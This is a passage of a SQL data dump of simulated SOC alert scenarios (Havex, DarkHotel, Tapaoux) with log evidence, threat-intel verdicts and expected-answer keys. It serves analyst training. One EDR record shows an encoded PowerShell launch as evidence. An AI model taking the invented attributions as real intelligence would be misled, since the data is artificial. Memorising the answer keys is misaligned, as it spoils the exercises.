1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"WIN-EXAMPLE\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"operation\\\":\\\"SetValue\\\",\\\"value_name\\\":\\\"SuspiciousProgram\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\malicious\\\\\\\\malware.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.42\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"WIN-EXAMPLE\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"operation\\\":\\\"SetValue\\\",\\\"value_name\\\":\\\"SuspiciousProgram\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\malicious\\\\\\\\malware.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.42\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"WIN-EXAMPLE\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"operation\\\":\\\"SetValue\\\",\\\"value_name\\\":\\\"SuspiciousProgram\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\malicious\\\\\\\\malware.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.42\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"WIN-EXAMPLE\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"operation\\\":\\\"SetValue\\\",\\\"value_name\\\":\\\"SuspiciousProgram\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\malicious\\\\\\\\malware.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.42\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(469, 'Lateral Movement: SMB Traffic Anomaly', 'high', 'Network Traffic Analysis', 'The network traffic analysis has detected anomalous SMB traffic consistent with lateral movement activities. Using the \'Havex\' Remote Access Trojan (RAT), attackers are performing network reconnaissance to map the industrial control network. This involves the identification of other critical systems within the network by exploiting the SMB protocol.', 'Network Reconnaissance', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-22T14:23:55Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.75\",\"destination_port\":445,\"protocol\":\"SMB\",\"malware_name\":\"Havex\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"username\":\"john.doe\",\"filename\":\"netmap.exe\",\"external_attacker_ip\":\"203.0.113.45\"}', '2026-01-05 03:02:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local IP address within the internal network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical system identified within the internal network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with the Havex RAT.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Public IP address related to known malicious activities.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"netmap.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable file used for network reconnaissance.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(470, 'Exfiltration: Unusual Data Transfer Detected', 'high', 'Data Loss Prevention (DLP) Systems', 'The DLP system detected an unusual data transfer from an internal host within the industrial control network to an external IP address. This exfiltration attempt involved sensitive files related to ICS operations, indicating a successful completion of the attackers\' objective.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"internal_ip\":\"192.168.5.23\",\"external_ip\":\"85.234.167.90\",\"filename\":\"ICS_Project_Plan.pdf\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"j.doe\",\"transfer_protocol\":\"HTTPS\",\"data_volume\":\"150MB\",\"detection_method\":\"Content Inspection\",\"alert_id\":\"DLP-EXFIL-20231015-001\"}', '2026-01-05 03:02:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host within the ICS network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"85.234.167.90\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous cyber attacks\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"ICS_Project_Plan.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Sensitive ICS document\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known malware associated with this hash\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR\",\"verdict\":\"internal\",\"details\":\"Active employee\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"internal_ip\\\":\\\"192.168.5.23\\\",\\\"external_ip\\\":\\\"85.234.167.90\\\",\\\"filename\\\":\\\"ICS_Project_Plan.pdf\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"j.doe\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"detection_method\\\":\\\"Content Inspection\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"internal_ip\\\":\\\"192.168.5.23\\\",\\\"external_ip\\\":\\\"85.234.167.90\\\",\\\"filename\\\":\\\"ICS_Project_Plan.pdf\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"j.doe\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"detection_method\\\":\\\"Content Inspection\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"internal_ip\\\":\\\"192.168.5.23\\\",\\\"external_ip\\\":\\\"85.234.167.90\\\",\\\"filename\\\":\\\"ICS_Project_Plan.pdf\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"j.doe\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"detection_method\\\":\\\"Content Inspection\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"internal_ip\\\":\\\"192.168.5.23\\\",\\\"external_ip\\\":\\\"85.234.167.90\\\",\\\"filename\\\":\\\"ICS_Project_Plan.pdf\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"j.doe\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"detection_method\\\":\\\"Content Inspection\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.079Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:10Z\\\",\\\"internal_ip\\\":\\\"192.168.5.23\\\",\\\"external_ip\\\":\\\"85.234.167.90\\\",\\\"filename\\\":\\\"ICS_Project_Plan.pdf\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"j.doe\\\",\\\"transfer_protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"detection_method\\\":\\\"Content Inspection\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-20231015-001\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(471, 'Suspicious Wi-Fi Network Activity', 'high', 'Network traffic logs', 'DarkHotel initiated an operation by compromising a hotel\'s Wi-Fi network. The network traffic logs indicate suspicious activity from an external IP address, suggesting an attempt to gain initial access to target devices.', 'Initial Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:15Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"203.0.113.45\",\"src_port\":443,\"dst_port\":8080,\"protocol\":\"HTTPS\",\"username\":\"guest_user\",\"file\":{\"filename\":\"trojan_hotel.exe\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"},\"action\":\"connection_attempt\",\"result\":\"success\",\"log_id\":\"abcd1234\"}', '2026-01-05 03:04:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Database\",\"verdict\":\"malicious\",\"details\":\"This IP is known to be associated with DarkHotel APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known DarkHotel trojan.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"trojan_hotel.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Malware Analysis Sandbox\",\"verdict\":\"malicious\",\"details\":\"Filename is commonly used in DarkHotel campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"guest_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local Database\",\"verdict\":\"internal\",\"details\":\"Default username for hotel guests.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(472, 'Unsigned Software Update Detected', 'high', 'Endpoint security alerts', 'An advanced alert was triggered when a target device attempted to execute a software update lacking a valid signature. This indicates a potential execution of a malicious payload disguised as a legitimate software update.', 'Execution', 'T1204.002 - User Execution: Malicious File', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:27:49Z\",\"device_id\":\"WIN-192168011\",\"user\":\"jdoe\",\"filename\":\"update_v1.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_signature_status\":\"unsigned\",\"source_ip\":\"192.168.0.11\",\"destination_ip\":\"45.76.12.34\",\"process_id\":4528,\"execution_path\":\"C:\\\\Program Files\\\\Update\\\\update_v1.exe\",\"alert_message\":\"Unsigned software update executed on endpoint\",\"external_reputation\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 14/60 antivirus engines\"}}', '2026-01-05 03:04:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.12.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known Command and Control servers.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 14/60 antivirus engines\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"update_v1.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee active in the HR department.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(473, 'Tapaoux Malware Persistence Mechanism', 'high', 'File integrity monitoring', 'The Tapaoux malware employs advanced techniques to maintain persistence, ensuring continued access to the target device despite potential reboots or shutdowns.', 'Persistence', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:48:00Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"target_ip\":\"10.0.15.21\",\"user\":\"compromised_user\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\tapaoux.dll\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"action\":\"Added to startup\",\"registry_key_modified\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\TapaouxService\"}', '2026-01-05 03:04:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Tapaoux malware operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.15.21\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised device.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\tapaoux.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Tapaoux malware DLL used for persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Lookup Service\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Tapaoux malware variant.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account suspected to be compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.082Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_ip\\\":\\\"10.0.15.21\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tapaoux.dll\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"Added to startup\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\TapaouxService\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.082Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_ip\\\":\\\"10.0.15.21\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tapaoux.dll\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"Added to startup\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\TapaouxService\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.082Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_ip\\\":\\\"10.0.15.21\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tapaoux.dll\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"Added to startup\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\TapaouxService\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.082Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_ip\\\":\\\"10.0.15.21\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tapaoux.dll\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"Added to startup\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\TapaouxService\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.082Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"target_ip\\\":\\\"10.0.15.21\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\tapaoux.dll\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"action\\\":\\\"Added to startup\\\",\\\"registry_key_modified\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\TapaouxService\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(474, 'Unauthorized Credential Access Attempt', 'high', 'Authentication logs', 'DarkHotel APT group attempts to harvest credentials from a compromised device, aiming to move laterally and access additional systems within the network. The attack was detected through unusual login attempts from an external IP address using a compromised internal account.', 'Lateral Movement', 'T1078.001 - Valid Accounts: Default Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:23:45Z\",\"event_id\":\"4625\",\"logon_type\":\"3\",\"user\":\"compromised_user\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"status\":\"FAILED\",\"failure_reason\":\"Unknown user name or bad password\",\"target_machine\":\"WIN-DC01\",\"hash\":\"e4d909c290d0fb1ca068ffaddf22cbd0\",\"filename\":\"darkhotel_tool.exe\"}', '2026-01-05 03:04:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with DarkHotel APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"suspicious\",\"details\":\"Unusual access patterns detected.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e4d909c290d0fb1ca068ffaddf22cbd0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Known hash for DarkHotel credential harvesting tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 